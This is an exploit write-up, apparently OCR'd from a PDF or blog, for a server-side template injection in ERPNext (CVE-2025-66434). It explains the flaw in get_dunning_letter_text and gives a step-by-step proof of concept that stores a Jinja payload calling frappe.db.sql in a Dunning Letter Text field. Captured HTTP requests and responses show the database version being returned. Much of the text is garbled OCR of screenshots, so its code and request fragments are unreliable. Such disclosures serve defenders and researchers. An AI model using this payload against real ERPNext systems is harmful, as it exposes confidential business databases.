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SSTI on ERPNEXT < 15.89.0 (CVE-2025-66434)
Exploit Author: An Chu ( aka iamanc)
Vendor: Frappe Technologies Pvt. Ltd.

Product: ERPNext

Affected Versions: ERPNext < 15.89.0

CVE: CVE-2025-66434

Impact:

An authenticated attacker can exploit this vulnerability to execute arbitrary SQL queries via server-
side template injection, resulting in disclosure of sensitive database information.

Summary:

A Server-Side Template Injection (SSTI) vulnerability exists in the get_dunning_letter_text
function of Frappe ERPNext.

The function renders attacker-controlled Jinja2 templates ( body_text ) using
frappe.render_template() with a user-supplied context ( doc ). Although ERPNext uses a custom
Jinja2 sandboxedEnvironment , dangerous globals such as frappe.db.sql remain accessible via
get_safe_globals() .

An authenticated attacker with permission to configure Dunning Type and Dunning Letter Text can
inject arbitrary Jinja expressions. This results in server-side code execution within a restricted—but
unsafe—context and enables potential database information disclosure.

Technical Details:

ERPNext is an open-source ERP system built on the Frappe Framework, which is written in Python
and uses MariaDB/MySQL as its backend database.

HTTP Routing in Frappe

» Frappe exposes backend Python functions through HTTP endpoints.

e The endpoint format is :
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/api/method/<python.module.path>.<function_name>

* When a request is sent to this URL, Frappe resolves the module path and executes the
corresponding Python function directly.

@frappe.whitelist()

e The @frappe.whitelist() decorator exposes a Python function as a public HTTP API.

e Whitelisted functions:
o Accept parameters directly from user-controlled HTTP requests

o Do not enforce input validation by default

e This decorator defines the attack entry point for this vulnerability.
Example:

Source code

@frappe.whitelist()
def test(a, b):
return a + b

Request

POST /api/method/module. test
a=1&b=2
Vulnerable Template Rendering:

frappe uses frappe.render_template(template, context) to render Jinja2 templates. Even with
SandboxedEnvironment, dangerous globals remain:

from frappe import render_template, get_safe_globals

render_template(user_template, user_context)

get_safe_globals() exposes:

 frappe.db.sqgl
» frappe.get_doc

 frappe.throw
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 frappe.local

If a malicious Jinja expression is injected, attacker can execute Python code in this restricted
environment and query the database.

Vulnerable Functions Analysis:
Vulnerable source code:

File: erpnext/accounts/doctype/dunning/dunning.py

@frappe.whitelist()

def get_dunning_letter_text(dunning_type: str, doc: str | dict, language: str | None
DOCTYPE = "Dunning Letter Text"
FIELDS = ["body_ text", "closing_text", "language"]

if isinstance(doc, str):
doc = json.loads(doc)

if not language:
language = doc.get("language")

letter_text = None
if language:
letter_text = frappe.db.get_value(
DOCTYPE, {"parent": dunning_type, "language": language}, FIEL

if not letter_text:
letter_text = frappe.db.get_value(
DOCTYPE, {"parent": dunning_type, "is_default_language": 1},

if not letter_text:
return {}
return {
"body_text": frappe.render_template(letter_text.body_text, doc),

"closing_text": frappe.render_template(letter_text.closing_text, doc)
"language": letter_text.language,

Root Cause

"body_text": frappe.render_template(letter_text.body_text, doc)
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body_text is loaded directly from the Dunning Letter Text child table.

This field is fully user-controlled by authenticated users with permission to manage Dunning
Type.
The value is rendered using frappe.render_template() without sanitization.

The Jinja2 environment exposes unsafe globals via get_safe_globals() , including
frappe.db.sql .

As a result, an authenticated attacker can inject arbitrary Jinja2 expressions leading to Server-Side
Template Injection (SSTI).

PoC: Step 1: Inject SSTI Payload via Ul

Navigate to:

Accounting — Accounts Receivable - Dunning Type

Create or edit a Dunning Type.

In the Dunning Letter Text child table, set the Body Text field to:

Save the document.
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|E » Accounting » Dunning Type » New Dunning Type Q' Search or type a command (Ctr + 6) 0 Hepv A

= New Dunning Type 1ot e

Punning Type Company

S8TI-Test 1

| 15 Default

Dunning Fee Rate of ntarest (%) Yearly

Dunning Letter

This section allows the user to set the Body and Closing text of the Dunning Letter for the Dunning Type based on language, which can be used in Print

0 No  Language Body Text Closing Text
0 1 Engish ;}3;{5 ;;mb‘gqj{“SELECT @@version”) | 1 )
Add Row
Accounting Details
Income Account Cost Center

At this stage, the payload is stored but not yet executed.
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body_text = {{frappe.db.sql(“"SELECT @ @version”) }//iamanc

wse
Request Response
@ S| pretty R Mo Rendr =

Prefty ~ fem=—te @
: colpany « 1

1 P0OST /api/method/Erappe. desk. form. save.savedocs HITE/1.1 ik A

2 Host: localhost dlts _fee™: 0.0,

\ . . ! . "rate of interest":0.0,
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinGd; x64; rv:147.0) Gecko/20100101 Firefox/147.0 "lnceie ;ccount":null.
Accept: application/json "eost canter®:null,
5 Accept-Language: en=US,en;q=0.9 "aongpe":”nunninq Type”,
Aceept-Encoding: gzip, deflate, br "gumning Letter text":(
7 Referer: http://localhost:B202/ app/dunning-type/new-dunning-type-yueaghudve : 2 =
§ Content-Type: application/s-wwe-form-urlencoded; charset=UTE-8

9 X-Frappe-CSRE-Token: a3f8fh0b7c31f4dlassafleadact9act2oh3Téd5faaelqdf5dedecl

"name"; "ql2pmo7101",
"owner": "Adninistrator”,

10 X-Frappe-CNbl_ "creation": "2025-12-15 14:50:53.086727",
11 k-Requested-fith: AMLHttpRequest "nodifisd" 12-15 14:50:53. 086727,
12 Coptt_ant—Length: 1114 "nodified by": "Adninistrator",
13 Origin: http://localhost: 8282 *docstatus” 10
0
"ide":1,

ookie: sl SBEbUEeBfilﬁﬂbddﬁebﬁic:aéifqeGDBeQSCSAS9732b26dh43a<mf4ee,‘ system_User=yes; full hame=
Adninistrator; user_id=Administrator; user_image=

16 Sec-Fetch-Dest: empty

7 Sec-Fetch-Node: cors

§ Sec-Petch-Site: same-origin

16 ¥-Punfox-Color: green

20 Peiority: u=0

'

Z: "parent ": "§511-Test? = 1,

22 doc= _ . "parentfield”: "dunning letter text",
\7b\!:‘dncstatu;\3",‘\3;ﬂlfcEZdnztypa!TZ‘!lal?!nunmnqliDTyps\ZZl:‘c\Eana\22\?a¥ffnew—dunmng—tyge-yuzaq “parenttype”: "Dunning Eype", 2
hudvr$2242ck22_ islocal%2243alt2cA22_ unsavi f*ll""“"\|""\""nwner\:!iia!i".’p\dmmstmturﬂﬁ“clihs_defa\\ "doctype”: "Dumning Letter Text”,
1':\22iiam:c\::;ompanyi:3|3ai2:ll::l:ci::dunmnq_leuter_tem::l;al&bm!z:docscatusi::\EIan:cl::doccy " ungaved”:1
ped2243a4220unning420Lettert 200ext 42242 20nane 42243a420nev-dunning- Letter-text-chiohghdyni2242c422_i i
slocal $2243a142c%22  unsaved422%3al%2c%220wnert2243at22Adni nistrator2242c422]anguage$2283at22ent2242c
122is_default_language’Z2¥3a042c42lparentA2243a12inew-dunning-type-yueaghudvriZ242ci22parentEiel di22e3
ak22dunning letter text%22%2ci2lparenttypet2243ak22Dunning}20ypet2242ci22idx42243al42c422 unaditedi?
243afalsedci2%body_text42243a82243cd1v420cl ass43d45c420qL -editors20 read-nodei5e82243e43epi3e 4 ThaThi20 )
frappe.db.sql (¥5ch22SEIECTR2044044 0versionkSckll) 2047 TdA2EY 2 1 amanchIch2fphdedIch2Edividet 2242ck 22 A
losing text322%3a822%3cdivil0class3di5cA22q1-editori20read-nodes5ci2283et3cpidezidcizZptdeticpidetich
r43e43cA2fpt3ehdck2fdivh3e 224745 d42cA2 2dunning_typed2243a42288 I-Test 24224 Tdsact Lon=5ave

"language": "en",

PR

"body_text":

"¢div class=\"ql-editor read-node\"><p>{( frappe.db.sql(\ "SELECT @@version\')
11/ danane</ pr</div",

CIosIng_te ULV Clags=| TqL-EOLTOT LEaq-TMOUE | oepoZal o aps DL I prey ouv,

)
I
"Jocalnane": "new-dunning-type-yueaghudvr”
)

"docinfo":(
"user_info"s(
I
"comments": [
I

OB 3 s o otigigns €9 P otighights

Step 2: Trigger SSTI via Ul

Navigate to:

Accounting —» Dunning -> New Dunning
Select:

Dunning Type: SSTI-Test2
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Selected text

VIb¥22docstatusd2l 13a082c R 2doct ypetil®ia
$22Dunndng820Typedi282c8iInams82283a802ne
w-dunning-type-yueaghudve82282e822_dsloc
al2243ali2c822_unsavedi2l43ali2c82omme
42243242 Administ rator §2242c4224s defaul
02203a082e 2 company 822430022 L022826420d.
unning_letter_texti2283atShiThildocstatu
42243082822 doct ype2243a8220un

Seemore V'

Decoded from:  URL encoding v @

("docatatus":0, "doctype”: "Dunning Type”,"
name": "new-dunning-type=yueaghudve”, " _is
local":1,"_unsaved": 1, "ounet": "Administr
ator","is default":0, "conpany”: "L", "dunni
ng_Letter,_text": | ("docstatus” 0, "doctype”
+"bunning Letter Text”,"name":"new-dunnin
g-letter-text-chrohgbdyn”," _islocal”:1,"
_ unsaved": 1, "ouner™: "Adninistrator", "lan
quage": "en”,"is_default language":0, "pare
nt":"new-dunndng-t ype-yueaghudve ", "pacent
field":"dunning_letter text", "parenttype”

L, Boad Ll bl "

¢, "body bent":"cdiv class®) "ql-editor rea
d=mode\"><p>{( frappe.ch.aql(\"SELECT Bfv
exsion\"] )}/ Lamance/pa¢/divy", "elosing_

LA i
>a¢/préppdrs¢/p¢fdivy') ], "duning ty
pe”:"SETT-Test" |

Seeless A

Cancel Apply changes
Request attributes g v
Request query parameters 0 v
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E + Accounting > Dunning » DUNN-12-25-00001

= A out

¥ Experimental

Click here to post bugs and

suggestions

(© Assigned To
@ Atachments
0 Tags

@ Share

0000

Yo last edited this - just

now

You created this +just now

When the Dunning form loads and processes the selected Dunning Type, the backend automatically

invokes:

get_dunning_letter_text(dunning_type, doc, language)

Submit this document to confirm

Details  Address & Contact

Customer

A

Currency

Currgncy

THE

Dunning Type

39T Test2 -1

Overdug Payments

U Mo Seleslovoice

https://iamanc.github.io/post/erpnext-ssti-bug-1

(| Search or type a command (Gt + 6]

Fotch Overdue Payments ¢ ) @ =

Company
1

Date

19-12-2025

Pasting Time

143554

Statug

Unresalved

Canversion Rate

1000

Rate of nterest 1) Vearly

0.000

Dunning Level  Overdue Days

Outstanding

0

[nferest

Hep+ A
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During execution, the injected payload inside body_text is rendered by:

frappe.render_template(letter_text.body_text, doc)

Request

Pretty  Raw  Hex

POST
/apl/method/erpnext.accounts.doctype. dunning. dunning. get_dunning_lett
er_text HTTE/L.1

Host: localhost:8282

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:147.0)
Gecko/20100101 Firefox/147.0

Referer: http://localhost:B282/app/dunning/new-dunning-kjhgiowblk
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

9 X-Frappe-CSRF-Token:
a3f8feb0b7c31f4dla55af0easacf9acfloh376d5faas249f5dedec
X-Frappe-CMD:

Content-Length: 850

Origin: http://localhost:B8282

Connection:
Cookie: sid=59fh06e9f790bdd8eh8ZclabZf4ebbIee5cBas9782b2adb48adbfee;
system_user=yes; full name=Administrator; user_ id=Administrator;
user image=

¢ H-PwnFox-Color:

[FN]

@

green

dunning type=8sTI-TestZ+-+lslanguage=encdoc=
$7B%22docstatus%22%3A0%2C% 2 2doctypes22%3A%2 Dunning$22%2C%22name 52253
A%2Znew-dunning-kjhglowblk$22%2C%22_ islocal%Z2%3A1%2C%22_ unsaved$ZZ
%3A1%20%220wners22%3A%22Adninistrators22820%20naning_series$22%3A%20D
UNN-.MM. -.YY.-$22%$2C%22company$22%3A%221422%2C%22posting date$22%3A%2
22025-12-15%22%2C%22status%22%3A% 2 Unresolveds22%2C%22currency $22%3A%
CITHESZ2%2C%20rate_of _interest322%3A0%20%220verdus_payments$CI%3A%5ES
5D%2C%22total interest$22%3A0%2C%22dunning fee$22%3A0%2C422dunning am
ount$22%3A032C%2Chase_dunning_amount $22%3A0%2C%22grand_total%ZZ%3A0%2
C$22language $22%3A%22en522%2C%22conversion_rate$22%3A1%20% 2 company_a
ddress$22%3A%22%22%20%22address_display$22$3A%22%22%2C%22income_accou
nt$22%3Anull$2C%22cost_center$22%3Anull$ZC$22dunning_type$Z22%3A3228ST
I-Test24+-+1%2252C%20total _outstanding$22%3A0%7D

@@} €|/ | search o

Observe that:

The literal payload is no longer visible.

B v =

0 highlights

[T

o

)

@

@@ €| P | search 0

= n
Response
Pretty Raw  Hex  Rende \n =

HTTPE/1.1 200 OK

server: nginx/1.22.1

Date: Mon, 15 Dec Z025 07:56:53 GMT

Content-Type: application/json

Content-Length: 209

Connectlon: keep-allve

Set-Cookie: sid=
59fb06e9f790bddBebBlclatlfdebh9ee5cBas9782h6db48adhfdee; Expires=Mon,
22 Dec 2025 09:56:53 GMT; Max-Age=G12000; HttpOnly; Path=/;
SameSite=Lax

Set-Cookie: system user=yes; Path=/; Samefite=Lax

g Set-Cookie: full name=Administrator; Path=/; SameSite=Lax
10 Set-Cookie: user_id=Administrator; Path=/; SameSite=Lax

Set-Cookie: user_image=; Path=/; SameSite=Lax

¥-Frame-Options: SAMEORIGIN

Strict-Transport-Security: max-age=63072000; includeSubDomains;
preload

¥-Content-Type-Options: nosniff

¥-¥88-Protectlon: 1; mode=hlock

Referrer-Policy: same-origin, strict-origin-when-cross-origin

i n L

Inspector

Request attributes
Request query parameters
Request body parameters
Request cookies

Request headers

Respanse headers

"body text":
"<div class=\"gl-editor read-mode'"><p>{("10.6.24-MariaDB-ub
uZz04',),)//lananc</p></div>",

"closing text":

"<div class=\"gl-editor read-mode'"><p>z</p><p><br></p></div
>,
"language":"en"

0 highlights

The rendered output contains the database version, for example:

10.6.24-MariaDB-ubu2204

This confirms that the SSTI payload is successfully executed on the server.

Alternative Trigger: Direct API Invocation

The same vulnerability can be triggered by directly calling the whitelisted method:

POST /api/method/erpnext.accounts.doctype.dunning.dunning.get_dunning_letter_text

When the API processes the request, the injected body_text is rendered and the SSTI payload is
executed, returning the evaluated output in the response.

https://iamanc.github.io/post/erpnext-ssti-bug-1
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Request

Pretty Raw Hex

Wb

@ -

) X-PwnFox-Color

8
POST

/api/method/erpnext. accounts.doctype. dunning. dunning.get_dunning_lett
sr_text HITE/1.1

Host: localhost:BZ8Z

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x&4;
Gecko/20100101 Firefox/147.0

Referer: http://localhost:B8282/app/dunning/new-dunning-kjhgiowblk
Content-Type: application/x-www-form-urlenceded; charset=UTE-8

rv:147.0)

5 X-Frappe-CSRF-Token

a3f8feh0bTe31f4dlas5afleasacf¥acflih376d5faael49f5dedec
X-Frappe-CMD:

Content-Length: B850

9fh06e9f790bdd8ebilclablfdebbl%e5cBas9782bI6db48adbhidee;
system_user=yes; full_name=Administrator; user_id=Administrator;
user_image=

green

dunning type=8sTI-Testl+-+lslanguage=ensdoc=
$7B%22docstatus$22%3A0%2C%22doctype$22%3A%22Dunning$22%2C%22nane $22%3
A%ZIZnew-dunning-kjhgiowblk$22%2C%22  islocal%22%3A1%2C%22 unsaved3IZ
$3A1%2C%220owners$22%3A%22Administrator$22%2C%22naming_series$22%3A%22D
UNN-.MM.-.YY.-%$22%2C%2C2company$22%3A%221%22%2C%22posting_date$Z2%3A%2
ZZ0Z5-12-15%C2C2%2C%20statussi2%3A%C0UnresolvedSZ282C%22currency 5223 3A%
Z2ITHBYZZ%2C%2Crate_of _interest$22%3A0%2C%2Zoverdue_payments$Z2%3A%5B%
5D%2C%I2Ctotal interest%22%3A0%ZC%22dunning fee$22%3A0%2C%22dunning am
ount $22%3A0%2C%22base_dunning_amount$22%3A0%2C%22grand_total$22%3A0%2
C%22language$22%3A%2Z2en%22%2C% 2 conversion_rate$22%3A1%2C%22company_a
ddress$22%3A%22%22%2C%22address_display$22%3A%22%22%2C%221ncome_accou
nt$22%3Anulls2C%2Zcost_center$ZZ%3Anull32CiZ2dunning type$22%3A%228ST
I-TestI+-+1%22%2C%22total outstanding$Z2%3A0%7D
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Response

Pretty

F R R SR

-

Raw Hex

HTTE/1.1 200 OK

Server: nginx/1.22.1

Date: Mon, 15 Dec 2025 07:56:53 GMT

Content-Type: application/json

Content-Length: 209

Connection: keep-alive

Set-Cookie: sid=
59fb06ef790bddBebizclaflf4eEh92e5cBa59702b6db4Badbides; Expires=Mon,
22 Dec 2025 09:56:53 GMT; Max-Age=£12000; HttpOnly; Path=/;
SameSite=Lax
Set-Cookie: SameSite=Lax

system_user=yes; Bath=/;

) Set-Cookie: full name=Administrator; Path=/; SameSite=Lax

Set-Cookie: user_ id=Administrator; Path=/; SameSite=Lax
Set-Cookie: user_image=; Path=/; Samefite=Lax

¥-Frame-Options: SAMEORIGIN

Strict-Transport-Security: max-age=63072000; includeSubDomains;
preload

¥-Content-Type-Options: nosniff

¥-X85-Protection: 1; mode=block

Referrer-Policy: same-origin, strict-origin-when-cross-origin

"message": {
"hody_text":
"<div class=\"gl-editor read-mode' "><p>(('10.6.24-MariaDE-ub
uZ204',),)//lamanc</p></div>",

roclosing fext":

"<div class=\"gl-editor read-mode' "><p>z</p><p><br></p></div
sn,

"language": "en"
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